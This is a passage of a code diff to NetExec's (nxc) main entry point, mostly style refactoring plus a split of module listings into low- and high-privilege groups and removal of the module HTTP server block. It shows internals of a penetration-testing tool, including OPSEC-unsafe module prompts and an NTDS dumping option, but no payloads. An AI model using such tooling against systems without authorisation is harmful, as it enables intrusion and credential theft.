else:
|
||||
with Progress(console=nxc_console) as progress:
|
||||
with ThreadPoolExecutor(max_workers=args.threads + 1) as executor:
|
||||
current = 0
|
||||
total = len(targets)
|
||||
tasks = progress.add_task(
|
||||
f"[green]Running nxc against {total} {'target' if total == 1 else 'targets'}",
|
||||
total=total,
|
||||
)
|
||||
nxc_logger.debug(f"Creating thread for {protocol_obj}")
|
||||
futures = [executor.submit(protocol_obj, args, db, target) for target in targets]
|
||||
for _ in as_completed(futures):
|
||||
current += 1
|
||||
progress.update(tasks, completed=current)
|
||||
with Progress(console=nxc_console) as progress, ThreadPoolExecutor(max_workers=args.threads + 1) as executor:
|
||||
current = 0
|
||||
total = len(targets)
|
||||
tasks = progress.add_task(
|
||||
f"[green]Running nxc against {total} {'target' if total == 1 else 'targets'}",
|
||||
total=total,
|
||||
)
|
||||
nxc_logger.debug(f"Creating thread for {protocol_obj}")
|
||||
futures = [executor.submit(protocol_obj, args, db, target) for target in targets]
|
||||
for _ in as_completed(futures):
|
||||
current += 1
|
||||
progress.update(tasks, completed=current)
|
||||
|
||||
|
||||
def main():
|
||||
|
@ -96,17 +86,17 @@ def main():
|
|||
if hasattr(args, "log") and args.log:
|
||||
nxc_logger.add_file_log(args.log)
|
||||
|
||||
nxc_logger.debug("PYTHON VERSION: " + sys.version)
|
||||
nxc_logger.debug("RUNNING ON: " + platform.system() + " Release: " + platform.release())
|
||||
nxc_logger.debug(f"Passed args: {args}")
|
||||
|
||||
# FROM HERE ON A PROTOCOL IS REQUIRED
|
||||
if not args.protocol:
|
||||
exit(1)
|
||||
|
||||
if args.protocol == "ssh":
|
||||
if args.key_file:
|
||||
if not args.password:
|
||||
nxc_logger.fail(f"Password is required, even if a key file is used - if no passphrase for key, use `-p ''`")
|
||||
exit(1)
|
||||
if args.protocol == "ssh" and args.key_file and not args.password:
|
||||
nxc_logger.fail("Password is required, even if a key file is used - if no passphrase for key, use `-p ''`")
|
||||
exit(1)
|
||||
|
||||
if args.use_kcache and not os.environ.get("KRB5CCNAME"):
|
||||
nxc_logger.error("KRB5CCNAME environment variable is not set")
|
||||
|
@ -137,7 +127,7 @@ def main():
|
|||
elif target_file_type == "nessus":
|
||||
targets.extend(parse_nessus_file(target, args.protocol))
|
||||
else:
|
||||
with open(target, "r") as target_file:
|
||||
with open(target) as target_file:
|
||||
for target_entry in target_file:
|
||||
targets.extend(parse_targets(target_entry.strip()))
|
||||
else:
|
||||
|
@ -161,10 +151,10 @@ def main():
|
|||
|
||||
protocol_object = getattr(p_loader.load_protocol(protocol_path), args.protocol)
|
||||
nxc_logger.debug(f"Protocol Object: {protocol_object}")
|
||||
protocol_db_object = getattr(p_loader.load_protocol(protocol_db_path), "database")
|
||||
protocol_db_object = p_loader.load_protocol(protocol_db_path).database
|
||||
nxc_logger.debug(f"Protocol DB Object: {protocol_db_object}")
|
||||
|
||||
db_path = path_join(nxc_PATH, "workspaces", nxc_workspace, f"{args.protocol}.db")
|
||||
db_path = path_join(NXC_PATH, "workspaces", nxc_workspace, f"{args.protocol}.db")
|
||||
nxc_logger.debug(f"DB Path: {db_path}")
|
||||
|
||||
db_engine = create_db_engine(db_path)
|
||||
|
@ -172,15 +162,20 @@ def main():
|
|||
db = protocol_db_object(db_engine)
|
||||
|
||||
# with the new nxc/config.py this can be eventually removed, as it can be imported anywhere
|
||||
setattr(protocol_object, "config", nxc_config)
|
||||
protocol_object.config = nxc_config
|
||||
|
||||
if args.module or args.list_modules:
|
||||
loader = ModuleLoader(args, db, nxc_logger)
|
||||
modules = loader.list_modules()
|
||||
|
||||
if args.list_modules:
|
||||
nxc_logger.highlight("LOW PRIVILEGE MODULES")
|
||||
for name, props in sorted(modules.items()):
|
||||
if args.protocol in props["supported_protocols"]:
|
||||
if args.protocol in props["supported_protocols"] and not props["requires_admin"]:
|
||||
nxc_logger.display(f"{name:<25} {props['description']}")
|
||||
nxc_logger.highlight("\nHIGH PRIVILEGE MODULES (requires admin privs)")
|
||||
for name, props in sorted(modules.items()):
|
||||
if args.protocol in props["supported_protocols"] and props["requires_admin"]:
|
||||
nxc_logger.display(f"{name:<25} {props['description']}")
|
||||
exit(0)
|
||||
elif args.module and args.show_module_options:
|
||||
|
@ -199,8 +194,8 @@ def main():
|
|||
|
||||
if not module.opsec_safe:
|
||||
if ignore_opsec:
|
||||
nxc_logger.debug(f"ignore_opsec is set in the configuration, skipping prompt")
|
||||
nxc_logger.display(f"Ignore OPSEC in configuration is set and OPSEC unsafe module loaded")
|
||||
nxc_logger.debug("ignore_opsec is set in the configuration, skipping prompt")
|
||||
nxc_logger.display("Ignore OPSEC in configuration is set and OPSEC unsafe module loaded")
|
||||
else:
|
||||
ans = input(
|
||||
highlight(
|
||||
|
@ -228,28 +223,12 @@ def main():
|
|||
if not args.server_port:
|
||||
args.server_port = server_port_dict[args.server]
|
||||
|
||||
# loading a module server multiple times will obviously fail
|
||||
try:
|
||||
context = Context(db, nxc_logger, args)
|
||||
module_server = NXCHTTPServer(
|
||||
module,
|
||||
context,
|
||||
nxc_logger,
|
||||
args.server_host,
|
||||
args.server_port,
|
||||
args.server,
|
||||
)
|
||||
module_server.start()
|
||||
protocol_object.server = module_server.server
|
||||
except Exception as e:
|
||||
nxc_logger.error(f"Error loading module server for {module}: {e}")
|
||||
|
||||
nxc_logger.debug(f"proto_object: {protocol_object}, type: {type(protocol_object)}")
|
||||
nxc_logger.debug(f"proto object dir: {dir(protocol_object)}")
|
||||
# get currently set modules, otherwise default to empty list
|
||||
current_modules = getattr(protocol_object, "module", [])
|
||||
current_modules.append(module)
|
||||
setattr(protocol_object, "module", current_modules)
|
||||
protocol_object.module = current_modules
|
||||
nxc_logger.debug(f"proto object module after adding: {protocol_object.module}")
|
||||
|
||||
if hasattr(args, "ntds") and args.ntds and not args.userntds:
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue